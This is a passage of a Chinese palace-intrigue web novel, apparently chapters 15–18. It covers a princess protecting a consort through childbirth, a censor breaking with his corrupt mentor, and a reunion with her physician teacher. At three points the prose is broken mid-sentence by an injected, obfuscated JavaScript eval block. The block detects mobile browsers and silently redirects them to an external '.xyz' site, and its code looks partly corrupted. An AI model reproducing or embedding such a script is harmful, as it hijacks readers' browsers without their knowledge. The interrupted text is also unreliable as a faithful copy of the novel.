她大步上前，紧紧抱住裴落，仿佛要将这十二年的挂念与心疼尽数揉入怀中。 裴落环住姜宁的腰身，轻抚她的背脊，声音轻柔似安抚：“漪漪，很抱歉，你归京那日，我未能亲至京城迎你。” 此言更添酸楚，姜宁的啜泣愈发难以抑制，伏在裴落肩头喃喃道：“裴落姐姐，你受苦了……” 一旁侍立的宫女见状，悄然退下，轻轻阖上了门扉。 不知过了多久，姜宁的哭声渐歇。裴落温柔地为她拭去眼边的泪痕，拉着她的手在身侧坐下，眸色温婉：“漪漪，来，坐近些。快同我说说，长安十二载，你过得如何？” “好。”姜宁抽噎着应下，从初入长安的孤寂讲起，讲到惜桃、苏七、苏九的陪伴，讲到拜顾方为师学医，讲到这些年私下游历的见闻……最后讲到借为父皇贺寿之名，终于归京。 裴落始终含笑倾听，目光温柔而专注。待姜宁讲罢，她温婉一笑：“漪漪这些年，很厉害呢。” “嗯，”姜宁用力点头，“漪漪长大了。现在，该换漪漪来保护裴落姐姐，保护苏家！” 提及苏家，裴落眸底掠过一丝难以言喻的黯淡，她忽地开口，声音轻得几乎飘散：“长英他……还好么？” 姜宁心头一涩：“长英哥哥他……很好，他……”那句“他很想你”终究哽在喉间，未能出口。 “嗯……”裴落低低应了一声，唇边牵起一丝勉强的弧度，“长英过得好，那便好。” 望着裴落强装的释然，姜宁心中涌起沉沉的疼惜。 两人分明彼此挂念，却都只能装作放下。她声音抑制不住地颤抖：“裴落姐姐，那夜之后，你和长英哥哥，明明可以远走高飞的。你知道的，长英哥哥绝不会在意。可为什么……” 可为什么偏偏要留下这个孩子，为什么要将自己困锁在这深宫之中？——后半句质问，姜宁咽了回去。 裴落却已然明了。她唇角泛起一丝苦涩的笑意，轻声道：“漪漪，你知道吗？那夜之后，其实汪皇后曾送来一碗避子汤。” 姜宁猛地抬首，眼中皆是惊疑与不解。 “但我……”裴落的声音更轻了，带着尘埃落定后的疲惫与决然，“偷偷倒掉了。” 姜宁瞳孔微缩，一时竟失语。 裴落幽幽一叹：“我了解长英。我知道他定会不顾一切带我走。可我不愿他为我冒险，不愿苏、裴两家的清誉因此受损，更无法面对那样自私的自己。那时我便想，既然事已至此，若能因此……为苏家留下一个依仗，长英他将来或许也能……” “裴落姐姐！”姜宁心痛如绞，用力摇头，泪水再次汹涌，“可是长英哥哥最想要的，从始至终，唯有一个你啊。那储君之位，也并非苏家唯一的生路！” 裴落伸手，指尖温柔地拂过姜宁的发丝，如同安抚一个委屈的孩子，声音里是饱经世事的苍凉：“漪漪，或许有一天你会明白，‘情’之一字，在这世间，常常要为许多东西让路。能执手白头……是莫大的奢侈。” 伴随这声轻叹，姜宁眼前骤然浮现出母后弥留之景—— 母后那双枯瘦的手紧紧攥着她，目光却遥遥望向父皇，艰难地吐出最后的遗言：“陛下……要照顾好漪漪。若有来世……但愿我们……能做对寻常人家的夫妻……”话音未落，气息已绝。 这迟来的顿悟，如同针尖一般，忽地刺入姜宁心口。 母后当年是何等风华绝代，在深宫十年磋磨，于病榻之上如同零落成泥的寒梅，遗言字字皆是此生未竟的遗憾。那些最后的时光里，她已经鲜少笑了。当年名动京城的《凤求凰》合奏，那被世人传颂的帝后佳话，褪去浮华后，究竟还剩下几分真心？帝王之爱，终究也要为那冰冷的权柄让路么…… 姜宁不愿深想，更不愿懂。她只是更用力地抱紧了裴落，任由滚烫的泪水无声浸湿裴洛的衣襟。 恰在此时，王嬷嬷的声音隔着厚重的门扉响起，带着宫人特有的恭谨与克制：“娘娘，殿下，该传晚膳了。” 姜宁闻声，缓缓松开手臂，用丝帕拭去脸上狼狈的泪痕。 裴洛已恢复了一贯的温和沉静，扬声应道：“好，进来吧。” 门应声而开，王嬷嬷步履沉稳地行至二人面前，躬身行礼：“娘娘，殿下。” 裴洛微微颔首。王嬷嬷便招手示意，候在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138566|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宫女鱼贯而入，捧着精致的食盒，动作娴熟利落，很快便在案几上布好了晚膳。 姜宁的目光落在王嬷嬷慈和却难掩肃然的面容上，一丝久远的熟悉感蓦然浮现。她轻声问道：“嬷嬷可是从前在皇祖母跟前服侍的？” 王嬷嬷看向姜宁，眼中掠过一丝追忆的慈蔼，垂首恭敬回道：“回殿下，老奴当年确曾在太后娘娘身边侍奉。” “本宫依稀记得，三岁那年，本宫趁父皇不在庆元殿，顽劣地撕碎了许多奏折。父皇盛怒之下，”姜宁的声音带着悠远的回忆，“是皇祖母将本宫护在怀里。那时，嬷嬷似乎端了一碟荔枝糕给本宫，滋味甚甜。”她的目光仿佛穿透时光，落在那遥远的午后。 “殿下好记性。”王嬷嬷眼中笑意深了些许，旋即又化作一声轻叹，“只可惜……太后娘娘福寿不永，走得早了些。若她老人家还在，又怎舍得让殿下远赴长安，受那十二载离京之苦……”她手下动作未停，细致地为姜宁和裴落布菜。 暮色四合，窗外的天光彻底暗淡下来。 待二人用罢晚膳，王嬷嬷吩咐宫女撤下碗碟，便欲行礼告退。 姜宁忽然开口唤住她：“嬷嬷，庭院外候着的男子名唤苏七，是本宫的贴身侍卫，劳烦嬷嬷为他安排一处歇息之所。此外，行宫外围的密林之中，尚有四人，乃父皇所遣羽林卫，亦请嬷嬷妥善安置。” “是，老奴明白。”王嬷嬷并无多问，利落地应下，躬身退了出去。 房门再度合拢。 裴落轻轻拉起姜宁的手，指尖微凉，声音却带着暖意：“先前圣上便传了密信，说漪漪要来。我便一直等着，一直盼着。前几日还听闻你为情所伤，南下散心，没想到，”她眉梢微扬，笑意更深，“转眼间，你就出现在我面前了。” 她顿了顿，眸中闪着促狭的光，“前些日子那桩轰动京城的传闻，说你于浮月桥畔独奏《凤求凰》向沈御史求爱，遭拒后羞愤跳河，以死相胁。此事，可是真的？” 提及此事，姜宁脸上也浮现一丝玩味的神情，压低声音道：“裴落姐姐，你是了解我的。我怎会为了这等事寻死觅活？不过是借个由头，掩人耳目好离京罢了。” 她眼神微凝，“汪皇后在京中必然眼线密布，紧盯着我的一举一动。若忽地离京前来见你，岂非打草惊蛇？” 裴落了然颔首，温婉的笑意里带着一丝不易察觉的提醒：“那位沈大人，自六年前高中状元，便是京中无数世家小姐的春闺梦里人。倾慕者众，求之不得者亦不在少数。漪漪此番这般‘玩弄’于他，待回京之后，可得仔细些才好。” 姜宁虽心觉无妨，但仍顺从应道：“好，漪漪知道了。” 裴落便不再多言，转而问道：“此番来庆阳，打算住多久？” 姜宁回望着她，眼中带着真切的不舍：“约莫……还能留两个月吧。” “那便好，”裴落唇角漾开温柔的笑意，指尖不自觉地抚上隆起的小腹，动作轻柔，“如此，你便能见到这位小皇子了。” 姜宁重重点头，面上波澜不惊，心头却翻涌起浓重的苦涩。 她如此急切地日夜兼程赶来庆阳行宫，另一重难以言说的缘由，便是为此。 十四年前，幼弟姜宸夭折、母后含恨而终的场景，至今仍如噩梦般历历在目。她绝不允许旧事重演，更害怕汪氏的毒手，会再度伸向裴落与她腹中这无辜的孩子。 16. 第十六章 可还安好 姜宁在庆阳行宫一住便是十日。 这十日间，她片刻未歇，将行宫内外一应护卫、内侍、宫女皆细细盘查甄别，确保皆属皇帝亲信；又将裴落的贴身之物与日常膳食逐一查验，更亲为裴落搭脉问安，直至确认万无一失，紧绷的心弦才略略松弛。 裴落每每见她如此，只温婉含笑，由着她去忙碌。 这日，姜宁正在小厨房亲自盯着那碗安胎药文火慢煎，苏七的身影倏然出现在门边。二人目光一触，姜宁便知有了消息。 她低声嘱咐侍立宫女仔细看顾火候，随苏七转至院中一处僻静角落。 未及开口，苏七已自怀中取出两封密函递上：“殿下，凤明堂密信。一封来自苏公子，一封是顾先生手书。” “师父？”姜宁眉峰微扬，眸中掠过一丝讶异。 她先接过师父的信函展开。信笺依旧寥寥数语，承袭了顾方一贯的简洁风格，只道他从凤明堂得悉姜宁身在庆阳。而他自己恰在毗邻的昆仑寻药，正往此处赶来，约定七日后于庆阳的凤明堂相见。 姜宁眼睫轻垂，嘴角不自觉弯起：“看来惜桃她们在蜀郡是见不着师父了。不过，师父什么时候又跑到昆仑去了？” 正疑惑时，她随即忽地想起那夜的那对诡异主仆，追问道：“对了，那两人踪迹可有眉目？” “尚未。”苏七沉声应道。 姜宁略一沉吟：“转告杨掌事和梁知府，不妨暗中向那些异域商队打探一二。” “是，属下稍后便去传话。”苏七抱拳领命。 “嗯。”姜宁心不在焉地应着。 裴落的脉象已显，临盆就在这一两日了，一股难以言喻的紧张悄然攥紧了她的心。 她转而三两下拆开苏长英的信—— 京中暂无异常，至少汪皇后那头尚未察觉姜宁已悄然抵临庆阳。 若说唯一波澜，便是沈之衡自年后以来，主持推行了都察院与吏部联手拟定的官员考绩新法。同时，他联合大理寺向刑部施压，严查了一批涉事官员。父皇给对此鼎力支持。一时间，朝野上下，无论京官外吏，无不人人自危。 往日曾有过犯的官员，更是惶惶不可终日。已有数人主动前往都察院或大理寺自陈其罪，以求宽宥。 沈之衡则顺势放言：若待都察院纠出罪证，必从严论处。此言一出，都察院与大理寺连日门庭若市，刑部的牢房则人满为患。 读至此处，姜宁唇角不禁勾起一丝玩味的弧度：“这沈之衡，倒真有几分雷霆手段与魄力。”一丝说不清道不明的期待倏然掠过心头，隐隐生出几分回京再与那人斗上一斗的兴致。 正凝神间，一名宫女气喘吁吁地急奔而来：“殿下！淑妃娘娘……娘娘要生了！” 姜宁面色骤凝，迅速将信笺揉入袖中，急忙便向裴落所居的庭院前去。 刚入院落，便见宫女们端着热水盆、捧着洁净布帛，步履匆匆地穿梭出入。屋内传来裴落压抑的痛吟与稳婆沉稳的指导声，声声交织，刺人心弦。 姜宁脚步猛地一顿，一股寒意自心头涌现。幼年母后生产时的凶险场景如潮水般汹涌而至。那弥漫的血腥气，宫人惨白的脸色，父皇焦灼的踱步…… 巨大的恐惧突然攫住了她。她的身子骤然冰冷，微微发颤，但很快狠狠咬了下唇角，强迫自己镇定下来，深吸一口气，毅然踏过门槛。 屋内，稳婆正沉稳地引导裴落用力，王嬷嬷则指挥着宫女，一切有条不紊却弥漫着无声的紧张。 姜宁快步行至床榻前，一把握住裴落汗湿的手，指尖冰凉却异常坚定：“裴落姐姐，定会平安无事的！”这句话，既是对裴落的承诺，亦是说给自己听的安慰。 裴落回握住她的手，尽管脸色苍白，眼神却透着磐石般的坚韧，重重地颔首。 不多时，随着裴落一声耗尽全力的低呼，一声嘹亮的婴儿啼哭骤然划破了紧绷的空气。 稳婆将襁褓中的婴儿仔细擦拭包裹，捧至裴落面前：“恭喜娘娘，贺喜娘娘，是位健壮的小皇子！” 满屋宫人齐齐跪地，声音带着劫后余生的激动：“恭喜陛下！恭喜娘娘！” 听闻“皇子”二字，裴落紧绷的肩背终于松弛下来，长长吁出一口气。 姜宁眼角不知何时已是一片潮湿，她温柔地为裴落拭去额上密布的汗珠，随即侧首对王嬷嬷道：“嬷嬷，即刻传信入京，禀报父皇。” “是！老奴这就去办！”王嬷嬷应声，利落地退下。 姜宁目光转向屋内众人，声音陡然转厉，带着不容置疑的威压：“乳母及所有侍奉三皇子宫人，务必精心！若有丝毫差池，便是死罪！可都听清了？” “是！谨遵殿下吩咐！”众人心头一凛，齐声应诺。 “收拾妥当便都退下吧，莫扰了娘娘清静休养。”姜宁又吩咐道。 “是。” 待众人陆续散去，屋内重归宁静。姜宁凝视着裴落疲惫却安然的眉眼，心疼的情绪如潮水漫涌：“裴落姐姐，这一年，委屈你了。”她顿了顿，接着说道：“今后……” 裴落低声宽慰，“漪漪，我没事，不必担忧我。” 姜宁拉着裴落的手倏然一紧，眼眸之中，意味深长，她缓缓开口道：“裴落姐姐，我要说的是。此事已毕，今后……你的人生之路大可自行抉择。金蝉脱壳，假死遁世之法并非不可行。天高地阔，我不愿你一世年华都葬送在这重重宫阙之中。我可以……” 裴落心头剧震，未待姜宁说完便急急打断，声音带着惊悸：“漪漪！不可！那是欺君大罪！不要做……不要……”她用力攥紧姜宁的手，指尖冰凉，重复着话语。 姜宁轻叹一声，自袖中取出那封被揉皱的信笺，递至裴落手中，声音微哑：“这是长英哥哥今日才到的信。” 裴落在姜宁的搀扶下，吃力地撑起身子，半倚着靠枕。接过信纸的指尖，倏然增添了几分苍白。 她的目光触及那力透纸背、再熟悉不过的字迹。最终，目光定定地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138567|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在信尾那句简洁却又重若千钧的问候—— “裴落可还安好？” 裴落的身子颤抖着，泪水瞬间决堤，无声滑落。往事一一浮现，她再也难以压抑这份痛苦和思念。 许久过后，她侧首望向姜宁，声音沙哑：“漪漪，我能给长英……回封信么？”目光之中，皆是恳切。 姜宁回望她的目光，温言回道：“当然。我去取纸笔。” ———— 与此同时，京城之中。 都察院值房内，烛火摇曳，映照着沈之衡与几名属官伏案的身影。 一份份从刑部转来的公文案牍被仔细核对、签押，直至暮色彻底降临，方才落定收尾。 沈之衡踏出都察院的大门时，向恒声已然在阶前石狮旁静候多时。 “今日怎拖得这般晚？若再迟半刻，我便要闯进去寻你了。”向恒声的声音带着习以为常的调侃，眼底却藏着不容错辨的关切。 沈之衡面容略显疲惫，抬手揉了揉眉心：“今日案牍堆积了些。” 顿了顿，他语气沉稳，试图宽慰，“都察院身在宫城之内，料也无妨。” “无妨？”向恒声冷笑一声，“这阵子，你步步紧逼，不知断了多少人的生路。狗急尚跳墙，谁知会不会有不要命的疯狗冲出来撕咬？” 话音未落，一道人影悄然自宫墙阴影处趋近。 向恒声身形瞬移，谨慎地将沈之衡严严实实挡在身后，按在剑柄上的手蓄势待发。 那是一名低眉垂目的内侍。他行至阶前，躬身一礼：“沈大人，齐阁老有请，盼与大人一叙。” 沈之衡眉头一蹙，声线沉稳却带着疏离：“烦请回禀阁老，沈某公务方毕，恐失礼于尊前，容改日再赴。” 内侍腰弯得更深，嗓音在寂静的夜色中清晰可闻：“回禀大人，阁老的车驾……已在宫门处恭候多时了。” 沈之衡嘴角牵起一丝无奈的苦笑，终是颔首：“本官知道了。” 一旁的向恒声眉梢轻挑，指尖仍握着冰冷的剑柄，语气闲闲抛出：“齐阁老可有提到不许旁人随行？” 那内侍身形似乎凝滞了一瞬，迟疑片刻，才低声如实应道：“回向少卿，阁老未曾提及。” “甚好，”向恒声唇角一勾，语气却带着冷硬，“那本宫便随沈大人同往。劳驾引路。” 宫门外，一辆形制朴拙的马车于阴影之中静默停驻。 沈之衡与向恒声并肩行去。月光落下，地面上映照出两道颀长的影子，一道如青松般挺拔孤绝，一道似利刃般寒气逼人。 马车侧窗的帘子被一只布满岁月刻痕的手缓缓掀起半幅。 齐任东的目光越过车窗，沉沉落在沈之衡身上，那目光深处似有欣慰的暖意流淌，出口的语调却平静无波，听不出丝毫情绪：“怀野，你来了。” 沈之衡脚步顿住，对着车内方向深深一揖。他低垂的视线隐在宽大官袍之后，只余一声恭谨而遥远的回应：“老师。” 17. 第十七章 师者何也 戊时正刻，齐府书房，烛火幽微。 沈之衡与齐任东分别坐于紫檀案桌两侧，均未言语。向恒声则挺立在书房门外，手按佩剑等候。 直至丫鬟悄无声息地奉上两盏清茶，随着房门再次合拢的轻响，齐任东方才端起自己面前那只茶盏，浅浅啜了一口清茶，缓缓开口：“怀野，上一次同老夫品茶叙话，还是去岁夏末吧。” “是，齐阁老。”沈之衡声线平稳。一声齐阁老，语气淡漠而疏离。 “上次对坐品茗，亦是在此案前。”齐任东眼睑微垂，陷入追忆，“那时，是你启程赴湖北赈灾前夕。可还记得，为师当时是如何叮嘱于你的？” 沈之衡的声音平淡无波：“阁老有言，此去湖北，但求平安归来，余事勿论。”他语锋微顿，续道：“待……凯旋回京之日，便是接任户部尚书之职、入内阁参政之期。” “是啊……”齐任东轻轻颔首，语气平静，眼底深处却陡然掠过一丝锐芒，“然而你在湖北一失踪便是数月，音讯杳然。再归时，便是以那残躯病骨，向陛下递上奏疏，执意辞离户部，自请调任都察院。” 沈之衡倏然抬眸，目光转向齐任东，嘴角勾起一丝讽刺的弧度：“个中缘由，想必老师比任何人都要清楚。” “呵……”齐任东垂首，发出一声几不可闻的低笑，带着浓重的自嘲。他扶着冰凉的案桌边缘，缓缓站起，步履略显蹒跚地行至窗边。 吱呀一声推开轩窗，清冷的月光投向屋内，泼洒一地。 他立于窗下，背对着沈之衡，月华使他的身形更显出几分苍老。他沉声道：“你我初次品茶清谈，还是在天元十八年。那时，你刚殿试及第不久……” 时隔六载，那场景却历历在目。 天元十八年，殿试终了，圣上御览至沈之衡那份的策论，当廷便钦点为状元，更命司礼监连夜誊录六份，火速分发至六部堂官传阅。一夜之间，沈之衡之名，与他那篇济世策论，震动朝野。 那份誊本送至时任户部尚书的齐任东案头时，已是深夜。他却就此枯坐一夜，字斟句酌。 字里行间，那经纶济世之才、匡扶天下之志、不畏权贵的铮铮傲骨，如星月交辉，卓然纸上。宦海浮沉数十载，此等玉质英才，实属罕见。而他齐任东……一生最是惜才。 此后，如何安置这位风头无两的新科状元郎，竟成了朝堂一桩难题。 圣上爱才之心昭然若揭。六部衙门、都察院，虽各怀目的，但莫不虎视眈眈，意欲争抢这不可多得的璞玉。内阁之中，首辅苏崇主掌吏部，次辅汪远执掌兵部，两位权柄赫赫的阁老态度皆十分强硬。都察院都御史甘璋更是寸步不让，誓要将这状元收入御史台下。 圣上难以定夺，破天荒地降下口谕，着沈之衡自行抉择。 当日午后，齐任东便亲至翰林院，邀沈之衡于天香楼清谈雅室。 茗香袅袅间，沈之衡只问了他一句：“敢问齐阁老，在您心中，为官者，当为何？” 齐任东沉思片刻，未作犹疑，朗声答道：“夫官者，蒙天子金印紫绶，非止荣身显贵，实以九州疆土为凭，万民生息作押。居此位者，当知掌中乌纱——轻如鸿羽，却重逾泰山。” 沈之衡闻言，目光骤亮，“晚辈心中所悟，亦如是。”随后，他起身深揖一礼，斩钉截铁：“从今往后，怀野愿追随齐阁老身侧，还请阁老多多教诲！” 言毕，二人朗声而笑，意气相投。 自那日起，沈之衡便入了户部。齐任东视其为衣钵传人，倾囊相授为官之道、权衡之术。 天元二十一年，沈之衡升任户部侍郎。仅仅三年，他深得圣心，在百姓、寒士之间口碑卓著，渐成清流砥柱，为天下士林所仰望。人人皆道“沈侍郎乃大凌官场最后的风骨”。 六年相处，二人情谊愈深，早已非寻常上下，渐为师生。 去年，齐任东已接近致仕之龄，与圣上商议良久，只待沈之衡自湖北赈灾凯旋，便以户部尚书之职擢其入阁。 未曾想到……终究是让沈之衡在湖广之地，察觉到了户部与六年前堤坝国帑之间剪不断的罪孽牵连。 那案中涉事的户部官员，均是他齐任东亲授的门生故吏。若说他齐任东于此事全然清白，谁人敢信？ 沈之衡性如寒玉，骨似青松，刚正不阿。纵是齐任东百般引导其洞察“为官需圆融，登高始能惠及苍生”的所谓至理，也未来得及教会他那套“水至清则无鱼，人至察则无徒”的官场箴言。 这一念之差的放任与欺瞒，不仅险些断送沈之衡性命于湖广泥泞之中，更亲手斩断了维系六载的师生情分。 自湖北九死一生潜返京都后，沈之衡自请调任都察院，行事越发迅疾果决。这段时日，大凌官场被他搅得天昏地暗。他虽未直指六年前贪墨旧案，但其中相关涉案官员，已因经年累月的其他罪证而接连落马。 唯一幸免、至今仍能全身而退的，唯有他那十位当年任职于户部的得意门生。 这一番刻意的“偏袒”，连齐任东自己也看不分明。这究竟是沈之衡顾念旧情，欲为恩师保全最后一点晚节的体面？还是只为寻找机会将其师生连根拔起？抑或是……沈之衡还在等，等他这位曾经的恩师悬崖勒马，亲自供述出那不堪的过往，以求赎罪？ 斗转星移，曾几何时这书房内是殷殷期望的耳提面命，今朝再对坐，便已是隔了万重鸿沟。 齐任东阖上疲惫的眼，嘴角浮起一丝极淡的笑，叹息声沉若千钧：“这一盏茶，会是我们师生之间的最后一顿茶么？” 沈之衡徐徐起身，对着窗边那道苍老的背影，深深一揖：“这取决于老师，如何抉择。”声音冷冽似松间的风声。 齐任东缓缓侧身，浑浊的目光穿透摇曳的烛影，悠悠落在沈之衡年轻而坚毅的面容上：“怀野，等你到了我这个位置，自会明白，这高台之上，太多事身不由己。” 沈之衡抬首，眼眶已是猩红一片，他的身躯挺得笔直，如同一株从未弯折的劲竹。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138568|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏然字字泣血：“良田尽毁，家园倾覆。老师可知湖北那千万流离失所的百姓，吞下了怎样的苦楚？那并非天灾，乃是赤裸裸的人祸！这苦，他们本不必受的。”他眸中翻涌的，是彻骨的失望。 他又深深吸气，唇角的弧度尽是苦涩：“‘夫官者，非止荣宠加身，实以九州疆土为凭，万民生息作押’——此言，字字句句，是您六年前在天香楼亲口所训。究竟是老师变了心肠？还是那冠冕堂皇的道理，原本就包藏着另一番乾坤？学生愚钝，难解其意！” 这番血泪拷问，终是击中了齐任东心底深处那点早已冰封的恻隐。 齐任东膝下无子，与沈之衡脾性相投，六载时光，早已将其视如己出。沈之衡那振翅欲飞的宏愿，又与他初入宦海时的凌云壮志何其相似？ 只可惜，造化弄人，一步踏错，便步步错，直至万劫不复。 “待太子荣登大宝之后，”齐任东的声音带着某种尘埃落定的疲惫，“为师会自行请罪伏法，身败名裂亦无惧。只盼能为你登临首辅之位……尽扫些荆棘。” “所以……”沈之衡瞳孔骤然收缩，声音沙哑，一字一顿，“老师的背后，竟真是……汪家？” 齐任东沉默。 这无言的死寂，已是比任何言辞都清晰的答案。 高踞庙堂，眼底只余倾轧权术，心中全无苍生黎民，这已是大凌官场蔓延的绝症。 沈之衡昔日在户部殚精竭虑，直至亲历湖北那片人间炼狱，方知大凌国库日益空虚的沉疴首恶——乃是朝廷根基已朽，是这累累冠盖下的肮脏人心。 所以他潜回京城第一件事，便是决绝地斩断过往，求入都察院，求一个刮骨疗毒的刀兵场。 归京数月，失望之情，也让他始终不肯直面这位曾经的恩师。 书房内沉寂一片，唯余穿窗而过的夜风，吹得烛火簌簌乱摇，将那两道默立的身影时而拉长、时而揉碎在落满月光的地面。 良久，齐任东喉结微动，终于再次开口，声音找回了些许往昔的沉缓庄重，带着最后一丝“教导”的意味，字字清晰： “怀野，你有经天纬地之才，少年得志，功名赫赫。如今贵为太子太师，储君敬你、信你、倚重你。那把首辅之位，于你而言，并非难事。为师深知你一片赤诚丹心，为官清正可昭日月。但你切记，首辅之位，纵使垫着数不清的污浊尸骨，那位置，你也务必要去争！若真想重振这大凌山河，非立于群峰之巅、手握至高权柄不可为。这便是为师今日……最后的赠言了。” 沈之衡没有再答话。他只是对着那轮冷月映照下的单薄背影，再次深深一揖，袍袖微动间，声音冷冽：“齐阁老珍重。下官，告辞。” 沉重的木门开合声后，书房内只剩一人。 齐任东的目光失焦般缓缓移向案几，最终定格在自己面前那只早已凉透的青瓷茶盏上。 澄澈的茶汤静若止水。 而沈之衡的那一盏清茶—— 他终究是一口未饮。 18. 第十八章 主仆身份 二月末，庆阳行宫，晨光熹微。 与师父约期已至，姜宁将青丝利落束作高马尾，换了身便于骑行的窄袖劲装，与苏七于卯时策马出宫，直奔庆阳州府。 刚一入城，二人便寻了街边小摊，以二十文钱购得两顶遮面的帷帽戴上。前番在城中夜市遭那对诡异主仆盯梢，此次还是谨慎些好。 凤明堂前，求医问药的百姓虽排起长龙，却井然有序。 姜宁与苏七行至维持秩序的小厮面前，亮出信物。小厮一见，立即会意，连忙躬身引路：“两位贵客请随我来，怀均先生已等候多时。” 踏入二楼隔间，便见顾方端坐主位。他一身素净的青色布衣常服，发未束冠，几缕银丝夹杂的青丝随意披散肩后，正闲适地研磨着案上药草，神情专注而平和。 姜宁摘下帷帽，笑靥如花地迎上前：“师父！” 顾方闻声抬眸，眼中漾开温煦笑意：“宁儿，来了。” “顾先生。”苏七亦摘帽，抱拳行礼。 “嗯，苏七，”顾方微微颔首，语气熟稔，“许久未见了啊。” 说话间，方才的小厮悄然奉上三盏清茶。 姜宁端起面前的白瓷盏，轻啜一口，眼波流转间，唇角已扬起俏皮的笑意：“乌龙打底，陈皮、茯苓、山楂、夏枯草……还有一味……”她鼻翼微动，细细品味，“是蒲公英！师父，徒儿猜得可对？” “分毫不差。”顾方眼中赞许更甚，亦举杯啜饮，“此方清热解郁，兼养脾胃。” 昔日在长安朝夕相处，顾方于日常饮食中素重药食同源之理，即便一盏清茶，亦常添几味药材调和。于是，猜辨茶中玄机，便成了师徒间心照不宣的雅趣。 苏七向来不通此道，只觉茶汤甘洌解渴，便如牛饮般咕噜两口见了底。一旁侍立的小厮见状，默不作声地又为他续满一盏，方才告退。 顾方目光掠过见姜宁空了大半的茶盏，忽地想起什么，眉峰微挑，带着几分促狭看向姜宁：“听红叶说，你回了京城，倒添了新癖好，日日饮茶非得掺上牛乳？长此以往，于脾胃无益。” 姜宁面上掠过一丝赧然，乖巧应道：“师父教训的是，徒儿回去便改。”心中却暗自盘算，下次若在牛乳茶里添些陈皮，或许别有风味。 她随即岔开话头：“对了师父，您先前不是在蜀地游历么？怎又转道去了昆仑？” “此事说来话长，”顾方眸光微沉，放下茶盏，“不急。倒是你，先同为师讲讲，此番回京，都经历了什么？” “好。”姜宁欣然应下，饮了口茶润喉，便将这段时日的种种娓娓道来。从京郊风雪日偶遇沈之衡，到浮月桥风波，再到裴落平安诞下皇子……桩桩件件，清晰分明。 听闻裴落遭遇，顾方眉头始终紧锁。待姜宁言毕，他冷冷轻哼一声：“裴落这孩子遭此劫难，苏崇那老儿心中怕是暗喜吧？于他而言，倒也算因祸得福。至于那姜厚钦……” 他语带不屑，毫不掩饰鄙夷，“更不是个东西。此二人，皆属混账！可怜了长英与裴落，平白受这无妄之灾。” 姜宁闻言默然。她深知师父对外祖父与父皇的怨怼积年难消，已成心结，此刻宽慰亦是徒然。 静默片刻，顾方深深一叹：“你当初执意回京，为师便不赞同，但也知拦你不住。”他目光落在姜宁脸上，带着洞悉世事的了然，“你与你母亲，骨子里都是一样的倔强。认准的路，无论如何都要走。” 话至此处，他眼中又泛起一丝欣慰的暖色，“不过，此番归京种种应对，你做得很好。比为师预想的更好。如此，为师这颗悬着的心，也能稍稍放下些了。” 姜宁目光悠悠投向窗外浮云，声音轻柔却字字清晰：“若无师父这十二载悉心教导，又怎会有今日的宁儿？” 顾方正色，目光转向姜宁，带着不容置疑的郑重：“宁儿，你且记住：无论前路是万丈荣光还是千般险隘，这凤明堂永远是你最后的退路与依仗。” 姜宁收回目光，深深望向顾方，莞尔一笑，眼底是纯粹的感恩，“师父，您已说过多次，宁儿明白。” 顾方抬眼望了望窗外天色，温言道：“日头偏西，时辰也不早了。今日便不必赶回行宫了罢？在城中留宿一晚。为师近来新琢磨了几味药膳，留下尝尝？” 姜宁眼中瞬间焕发光彩，语带雀跃：“自然极好！有师父在，徒儿又有口福了。” “哈哈哈，你这丫头啊。”顾方朗声大笑，随即起身，“那为师便去后厨张罗了。你与苏七且在堂中歇息片刻，随意逛逛便是。” “是，师父。” “是，顾先生。” 顾方离去后，姜宁端起案几上那盏微凉的茶汤，缓步踱至窗边。 凭栏俯瞰，庆阳街市比之京城更显生机勃勃。求医问药的百姓队列井然，商贩往来络绎不绝。目光流转间，忽见杨阳掌事步履匆匆地穿过熙攘人流，正往凤明堂而来。姜宁这才恍然，难怪今日入堂未见杨掌事身影，原是外出办差去了。 几乎是杨阳身影刚入堂门，楼板轻响，他已推开二楼雅室的门扉。虽气息微促，显然赶得急切，但他仍极力维持着平日的沉稳，躬身道：“殿下，那两位主仆的身份有眉目了。” “哦？”姜宁眸光微凝。 杨阳自怀中取出一张绘有详细路径的图纸，恭敬呈上：“据查，是柔然部落的二王子，贺兰风。其侍从姓名不详。此乃他们现下在城中的落脚之处，二人抵庆阳已两月有余。” 姜宁接过图纸，略扫一眼，便转递予身旁的苏七。 柔然，毗邻大凌西北边陲的草原部族。二十二年前那场惨烈鏖战，镇北侯裴家虽力阻其于国门之外，却付出了满门英烈、仅余孤女裴落幸存于京城的代价。经此一役，柔然与大凌皆元气大伤，自此偃旗息鼓，换得西北边陲二十二载太平。 